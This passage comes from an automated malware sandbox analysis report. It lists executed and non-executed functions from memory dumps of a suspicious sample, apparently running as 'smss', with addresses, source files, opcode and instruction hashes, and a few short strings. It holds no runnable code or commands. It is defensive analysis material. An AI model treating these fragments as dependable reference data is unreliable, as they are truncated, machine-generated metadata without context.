                                                      • Opcode Fuzzy Hash: a3c3c7ee3aab9599005f7a7ec8b2da4413715c63c920f85bf667b885e847fc2d
                                                      • Instruction Fuzzy Hash: 27C09B80F0F38B57E73151F404B107C46441F562407D70571F107451E7DCCC7A059311
                                                      Function 00007FFD9B8906C8 Relevance: .0, Instructions: 8COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1720570297.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9b890000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4bc57b3e9a75c9c30632150aaed7d5d414b4cb7cf4c4f63cb5a294af46db24f1
                                                      • Instruction ID: 898f9fcb981070dec18bf253995c5d94223583889e447357ea2bfa3bd97dfbbe
                                                      • Opcode Fuzzy Hash: 4bc57b3e9a75c9c30632150aaed7d5d414b4cb7cf4c4f63cb5a294af46db24f1
                                                      • Instruction Fuzzy Hash: 28B01200D6740F00FC6433FA089206478405B8C500FD20070D80C40091A84D12A40242
                                                      Function 00007FFD9BC567D1 Relevance: .0, Instructions: 4COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 56999d2d387b9d52b1ccb9334472db2806ccda89cf3e9190b8262559415ed9a1
                                                      • Instruction ID: ab1a3f75c50b583cb51f326a9b77c59ea4d8ce283792d71acce1ac59f0b9025d
                                                      • Opcode Fuzzy Hash: 56999d2d387b9d52b1ccb9334472db2806ccda89cf3e9190b8262559415ed9a1
                                                      • Instruction Fuzzy Hash: B6A00240F5E81E46F0F566F4046217D04512F94704B624032E00E821AACD9C67061146

                                                      Non-executed Functions

                                                      Function 00007FFD9B8909B0 Relevance: 5.2, Strings: 4, Instructions: 196COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1720570297.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9b890000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: c9$!k9$"s9$#{9
                                                      • API String ID: 0-1692736845
                                                      • Opcode ID: 244d839350e90fa61684a38c1579eaf4333df0056ad9cadeaae8b124a96884a8
                                                      • Instruction ID: 7bdad2efefd2df50d0dd26989cba8e8c6a65da8c3032067f4986d647c58e7a7f
                                                      • Opcode Fuzzy Hash: 244d839350e90fa61684a38c1579eaf4333df0056ad9cadeaae8b124a96884a8
                                                      • Instruction Fuzzy Hash: A4510487B594670DE31A33FC79228FC2B85DF85375B4842B3E05E8A0DB5CC9608686E7

                                                      Executed Functions

                                                      Function 00007FFD9B860D4C Relevance: 1.5, Strings: 1, Instructions: 254COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: 5[_H
                                                      • API String ID: 0-3279724263
                                                      • Opcode ID: b7cd1eaec0d97826c97ad960d885fe72be3b05c6bbae88d9dd61a6a11c79f1e1
                                                      • Instruction ID: e8a29aebe6c1ae4924e2f2f22bb2eb06ac39f0d67ba4bc686e21ce9b693a0fd2
                                                      • Opcode Fuzzy Hash: b7cd1eaec0d97826c97ad960d885fe72be3b05c6bbae88d9dd61a6a11c79f1e1
                                                      • Instruction Fuzzy Hash: D091F6B5A19A8D8FD799DB6888757A87FE0FF99310F4001BAD14AD73E6DB781814C700
                                                      Function 00007FFD9B860E43 Relevance: .2, Instructions: 172COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 16c59976264ccb4ec417a1e1cb9622001b03754483df68fb4ffa54862d044767
                                                      • Instruction ID: 8b237e14a0ce9fb577ce03fd377e31d1cbb5f60a3b963081d54913bdc44ec297
                                                      • Opcode Fuzzy Hash: 16c59976264ccb4ec417a1e1cb9622001b03754483df68fb4ffa54862d044767
                                                      • Instruction Fuzzy Hash: 4D5115B6A2994E8EE798DB5C98B57A87FE0FB89310F4001BAD10AD73D5DBB41414C300
                                                      Function 00007FFD9BC21056 Relevance: 3.0, Strings: 2, Instructions: 526COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: W$d
                                                      • API String ID: 0-763733440
                                                      • Opcode ID: 51f18a4c3f91db315d7eb5d96faf207c3e39323c3702dce182214b27966959be
                                                      • Instruction ID: 2e1809f614ee8e1915193d595ab793a576f67825fbedddb025138dc17ebddc8f
                                                      • Opcode Fuzzy Hash: 51f18a4c3f91db315d7eb5d96faf207c3e39323c3702dce182214b27966959be
                                                      • Instruction Fuzzy Hash: DCF10230A1DB4A4FDB58EF68D8A19B973E1FF45304B1841BAD459CB29BDE34F8428781
                                                      Function 00007FFD9BC27BD8 Relevance: 1.4, Strings: 1, Instructions: 158COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: 4d8620ad3e5aa3a98040e869b24fd37e3ffbb6deb96e77be4dd84727086d19f1
                                                      • Instruction ID: 6d15b6c6918742f3e8eb0687e81743777fa9ece9ac92d9f1dc2d6fd79bc87eb9
                                                      • Opcode Fuzzy Hash: 4d8620ad3e5aa3a98040e869b24fd37e3ffbb6deb96e77be4dd84727086d19f1
                                                      • Instruction Fuzzy Hash: 3E518231E0A64E8FDB59DBA4C4A15FDB7B1FF55300F1540BAC41AE7296DA38AE01CB40
                                                      Function 00007FFD9BFC5B88 Relevance: 1.4, Strings: 1, Instructions: 157COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: 652d4ea08a789d9edc71188b266b26d1a6b463932b83435b397b8b1e0912dddd
                                                      • Instruction ID: 88ff5c3d8618b2af6ee6e1e18fb8c79a6a04bf9ff2fb4249d45a46282263551c
                                                      • Opcode Fuzzy Hash: 652d4ea08a789d9edc71188b266b26d1a6b463932b83435b397b8b1e0912dddd
                                                      • Instruction Fuzzy Hash: 6A51A171E0951E8FDB59DFA8C4665BCBBB1FF44300F1141B9D01AE72A2DB396945CB00
                                                      Function 00007FFD9BFCEC48 Relevance: 1.4, Strings: 1, Instructions: 155COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: 10de3ad268bf0262af452eda8a15bf8548e7618f4c143a41b61573ce07096435
                                                      • Instruction ID: f02625a4c826725e890f8afc933601fa20ebd110c9b08096ccb05ffb77471802
                                                      • Opcode Fuzzy Hash: 10de3ad268bf0262af452eda8a15bf8548e7618f4c143a41b61573ce07096435
                                                      • Instruction Fuzzy Hash: 28516C31E0950E8FDB69EF98C8655BDB7B1FF44300F1141BAC01EE7296DA396A45CB50
                                                      Function 00007FFD9BC20E49 Relevance: 1.3, Strings: 1, Instructions: 29COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: H
                                                      • API String ID: 0-2852464175
                                                      • Opcode ID: eb7ecb4eed450448a9ef6ddb624bade81fb48f4e9a6e9915be88c1bc147dcbdf
                                                      • Instruction ID: b69fd2c16c3d849db6756d03280c89cb263312fa8f9c3c6c1cfad9c1a41202ff
                                                      • Opcode Fuzzy Hash: eb7ecb4eed450448a9ef6ddb624bade81fb48f4e9a6e9915be88c1bc147dcbdf
                                                      • Instruction Fuzzy Hash: 2CE0D8307097854FC70E96388C694607BB1EF6710178A42FBC409CB2A3DD19DC89C751
                                                      Function 00007FFD9BFC5DFF Relevance: .4, Instructions: 424COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b66713a30fcc1b7a43cf65e4fe2542be966c58c76c149d990a9b2f29aca1a794
                                                      • Instruction ID: 64d6b6328c9882f521589f4b672dd2f51bdc6e8704eebb7f69c6c26118b50d29
                                                      • Opcode Fuzzy Hash: b66713a30fcc1b7a43cf65e4fe2542be966c58c76c149d990a9b2f29aca1a794
                                                      • Instruction Fuzzy Hash: 74F1E230A199198FEB68DF58C4E16B077A1FF54301B5142BDC84ACB69BCA39F9C1CB81
                                                      Function 00007FFD9BC28E91 Relevance: .4, Instructions: 405COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f74afc43109f7ddeaf49f8a1a331d521623debf1591233bdac9bfd82f823ee2d
                                                      • Instruction ID: 17ae96e81497fcfeb6a044699133bf1babc61f08e2278f2b7f366c8486558c11
                                                      • Opcode Fuzzy Hash: f74afc43109f7ddeaf49f8a1a331d521623debf1591233bdac9bfd82f823ee2d
                                                      • Instruction Fuzzy Hash: 46D10530A0EB4A8FE378DB78C4A957977E1FF44300B19457EC48AC76A2DA69F941C741
                                                      Function 00007FFD9BFCEEAF Relevance: .4, Instructions: 361COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f2b64d77cd6eb8dccf1aa89bf91825d11833bd0aa62c46967d5e1ec22cbded11
                                                      • Instruction ID: b5a6ef3729225dce418bded0dc91bfa98c8df8156d07c53c1d22e281b62f370a
                                                      • Opcode Fuzzy Hash: f2b64d77cd6eb8dccf1aa89bf91825d11833bd0aa62c46967d5e1ec22cbded11
                                                      • Instruction Fuzzy Hash: 86D1CF3061955A8FEB68DF48C0E05B077A1FF48310B6546FDD85B8B69ACB39F985CB80
                                                      Function 00007FFD9BFC5E1F Relevance: .3, Instructions: 335COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ec2c3b7e18d904b9f7af6029af327683be0a4fbc73a842425d49771fd62313f9
                                                      • Instruction ID: a4186e99bebf022f07ad24992e61e436aff19ae6d1fab37352d1d869ec22edf3
                                                      • Opcode Fuzzy Hash: ec2c3b7e18d904b9f7af6029af327683be0a4fbc73a842425d49771fd62313f9
                                                      • Instruction Fuzzy Hash: 67C1E030A1991A9FEB2DDF48C0E05B137A1FF55301B5146BDC84B8B69BCA39F981CB81
                                                      Function 00007FFD9BC27E6F Relevance: .3, Instructions: 333COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 8b9eb3d11e8c14e15184e8cde6de59aab3b928a8105bfa9f497602e893e05d95
                                                      • Instruction ID: a72119c17037623d3c9a565054c9ec1c2239b5c4813d88a14a8cf990b308efd8
                                                      • Opcode Fuzzy Hash: 8b9eb3d11e8c14e15184e8cde6de59aab3b928a8105bfa9f497602e893e05d95
                                                      • Instruction Fuzzy Hash: 57C1D03061A54A8FEB2DCF64C4E05B937A1FF45311B6945BDC84A8B69BCB38F981CB40
                                                      Function 00007FFD9BFCEECF Relevance: .3, Instructions: 332COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 5ee6fc3e9346d16185d754d713a285f0486a78c136cacc63f2a7d88f8dce9731
                                                      • Instruction ID: aa8712e299cbf61adb96aafb8c9b530bc8ce9c1f8b2faefabf22286df4a0a5cd
                                                      • Opcode Fuzzy Hash: 5ee6fc3e9346d16185d754d713a285f0486a78c136cacc63f2a7d88f8dce9731
                                                      • Instruction Fuzzy Hash: 70C1CD3061A64A8BEB2CDF48C0A05B177A1FF45310B6546BDD85B8B69BCB39F985CB40
                                                      Function 00007FFD9BC27702 Relevance: .3, Instructions: 328COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 702fdd50526043a18e7349b93b4cb3bc5b029c99018e69e1bd4e167b3d318e2d
                                                      • Instruction ID: b878c1e433709328bc059168f2b497ddb4f984f09d51486f626e363575282a65
                                                      • Opcode Fuzzy Hash: 702fdd50526043a18e7349b93b4cb3bc5b029c99018e69e1bd4e167b3d318e2d
                                                      • Instruction Fuzzy Hash: 2FC1D730709A4A8FE759DB74C0A16A8B7A0FF45310F5941BAC04EC7A96DB38FD51C780
                                                      Function 00007FFD9BFC56B2 Relevance: .3, Instructions: 325COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7752fb770e366fff01e9c24b8da319f9e49974027a308d18e7a416e555731745
                                                      • Instruction ID: 2a8877d1b2bca83151dc65c809addd6de5f66f89b4c1a53719ea956f0305309d
                                                      • Opcode Fuzzy Hash: 7752fb770e366fff01e9c24b8da319f9e49974027a308d18e7a416e555731745
                                                      • Instruction Fuzzy Hash: A8C1D530A0994A8FE759EF68C0A26B4B7A1FF45310F5542B9C04EC7AD7CB39B991C780
                                                      Function 00007FFD9BFCE762 Relevance: .3, Instructions: 325COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f836c65fd7eb8574b0d726ac155f2691d04d927d4e3586a548f453e05dec634b
                                                      • Instruction ID: 8c13dc62a5c0483ebedb5f01b7a16cdc99c6a588dc486f39dc7365f0f2e770a1
                                                      • Opcode Fuzzy Hash: f836c65fd7eb8574b0d726ac155f2691d04d927d4e3586a548f453e05dec634b
                                                      • Instruction Fuzzy Hash: 48C10630B09A4A8FE759EF98C0606B4B7A1FF55300F5546B9C04EC7A96DB39F991CB80
                                                      Function 00007FFD9BFC3077 Relevance: .3, Instructions: 308COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 89077eb7d5fa07f1c32ae3f71a1bcb09db70f3831d05ee9d6bce4b345c3a8a2c
                                                      • Instruction ID: 0e9c5ded5beb993a72a5d8632d2cce29ad05c714b64f470dd73f9f7e94075073
                                                      • Opcode Fuzzy Hash: 89077eb7d5fa07f1c32ae3f71a1bcb09db70f3831d05ee9d6bce4b345c3a8a2c
                                                      • Instruction Fuzzy Hash: 5C21E912F0E15F4AFA347DE858730F827409F052A0F1603BAD04E864E6DC6E268D5382
                                                      Function 00007FFD9BFC3B00 Relevance: .3, Instructions: 301COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1b66afc51e84ff042970543cf951f2b4d34c9c2bdfd699625defdae5d5a72b2a
                                                      • Instruction ID: 5063ea975f47094607c3d494de664c9dcd19f6d140ffd318ea648c99c842354d
                                                      • Opcode Fuzzy Hash: 1b66afc51e84ff042970543cf951f2b4d34c9c2bdfd699625defdae5d5a72b2a
                                                      • Instruction Fuzzy Hash: 79918630B18A1D8FDB58EF58C895AB9B3E2FF55314B1542A9D04EC7266DA35FC82CB40
                                                      Function 00007FFD9BC2BBFB Relevance: .3, Instructions: 300COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 72743b4926dc42abe3be351c7d8c661502ea1d834f6fe77ffb72ee177ad9ac12
                                                      • Instruction ID: a3e1d5684a49d61265a6a7a1e73d6910ea12dcf3f7ba07e725b9071e95422f4a
                                                      • Opcode Fuzzy Hash: 72743b4926dc42abe3be351c7d8c661502ea1d834f6fe77ffb72ee177ad9ac12
                                                      • Instruction Fuzzy Hash: B921E216F0F59B4AF73916F828320FC76509F45610F1E00B6D68D861F3DC8DAA4413C2
                                                      Function 00007FFD9BC27E4F Relevance: .3, Instructions: 294COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 98d52256116c7f20fd4beaa5a23ba6db689a3454146c4f9592f4be9225834012
                                                      • Instruction ID: c216428c48296d8168a3a255d108129dd40a24706a7afb2ca03f276a7a4bf461
                                                      • Opcode Fuzzy Hash: 98d52256116c7f20fd4beaa5a23ba6db689a3454146c4f9592f4be9225834012
                                                      • Instruction Fuzzy Hash: 11B1BC716196058FEB5DCF68C4E05B537A1FF49310B5541BDC84ACB69ECB38E982CB81
                                                      Function 00007FFD9BC2510C Relevance: .3, Instructions: 284COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4b35b2f6c90dabe99989599452f0c1512b714cd093155ceadf5d2ae796ac5060
                                                      • Instruction ID: b05af01254318381f9fc7de0363c92d64c92b0b01124325a08bc8778689cb7f2
                                                      • Opcode Fuzzy Hash: 4b35b2f6c90dabe99989599452f0c1512b714cd093155ceadf5d2ae796ac5060
                                                      • Instruction Fuzzy Hash: 8811D352F1F58F8AF67945F818320BF5640AF51720F1E11B6C45E461E6EC8CFB4422C2
                                                      Function 00007FFD9BFC4BE6 Relevance: .3, Instructions: 268COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2489d2de0d9ced36c5df80ddf00247823382c985f5bc8a3efb44cfdafc3b07e6
                                                      • Instruction ID: 552d3db87f954cac085a2b2901417626b23b2cad5824d2b750f0a02203dee205
                                                      • Opcode Fuzzy Hash: 2489d2de0d9ced36c5df80ddf00247823382c985f5bc8a3efb44cfdafc3b07e6
                                                      • Instruction Fuzzy Hash: 87812A31B0EA0A4FF378BE9894615B577E0EF45350B16067ED08FC31A3DE2ABA824751
                                                      Function 00007FFD9BFCDCA6 Relevance: .3, Instructions: 257COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 34c37bcfe1c8301186f33cf67966298eac5affa9cc6294bf28d91e0acbb879a4
                                                      • Instruction ID: ca41d05bb108c11fbf79999e3aaab768df8efdbeabb5a1ad109880163afebd3d
                                                      • Opcode Fuzzy Hash: 34c37bcfe1c8301186f33cf67966298eac5affa9cc6294bf28d91e0acbb879a4
                                                      • Instruction Fuzzy Hash: 16816D31F0E60A4FE338AE6894655B977E0EF55310B16067ED08FC39A2DF3AB9818751
                                                      Function 00007FFD9BC26C46 Relevance: .2, Instructions: 248COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 56863da10e27ad4327261d78c35b3286da553571faa0424bf0d014effbf14a17
                                                      • Instruction ID: e02c8a29275438e801c2c30a9c100def9f64a612142fdacd84e42850759bf6e2
                                                      • Opcode Fuzzy Hash: 56863da10e27ad4327261d78c35b3286da553571faa0424bf0d014effbf14a17
                                                      • Instruction Fuzzy Hash: 01710931B0EA494FE3396B78946557D77E0EF45314F1A057EE48EC32A2DE28FA028761
                                                      Function 00007FFD9BFC0729 Relevance: .2, Instructions: 247COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 8c66b01c5456030e912565eeca8103336ac0f7183046f2c8a0b70ab03d9073e1
                                                      • Instruction ID: aae9a5f0ae918bc9aaf20766d0be022c556a320525b7c2d356bb8af62f7f25cb
                                                      • Opcode Fuzzy Hash: 8c66b01c5456030e912565eeca8103336ac0f7183046f2c8a0b70ab03d9073e1
                                                      • Instruction Fuzzy Hash: 49712432A0E54D4FE778FE6888265B437C0EF44710B1643B9D09EC75F2DA1AAA8787C5
                                                      Function 00007FFD9BFCC0F9 Relevance: .2, Instructions: 246COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 33e16a70d742c6398b3731f35096ee51fe0df86596cc593988214e21be66e2c0
                                                      • Instruction ID: 8cae53218f53d683154e7b87feca9329f5a1198934827ba8fd9c39d1f16b169d
                                                      • Opcode Fuzzy Hash: 33e16a70d742c6398b3731f35096ee51fe0df86596cc593988214e21be66e2c0
                                                      • Instruction Fuzzy Hash: 3B711471A0E44D4FE778EE9C88665F437C0EF45310B0603B9D09EC79B2DA1AAA8687C1
                                                      Function 00007FFD9BFC2D29 Relevance: .2, Instructions: 246COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 264644ff688c6bb00e4f867335df2f8375bf7241ba827b92c5fd7dd2b9f0d2e9
                                                      • Instruction ID: d2b6730181a700f9159e95a7366eac0961f40cd081808cd8521f2e59c75f0cec
                                                      • Opcode Fuzzy Hash: 264644ff688c6bb00e4f867335df2f8375bf7241ba827b92c5fd7dd2b9f0d2e9
                                                      • Instruction Fuzzy Hash: 94711831A0E54D4FEB78FE9888265B477D0FF54310B0603B9D45EC7572DF2AAA8A8781
                                                      Function 00007FFD9BC24D89 Relevance: .2, Instructions: 245COMMON
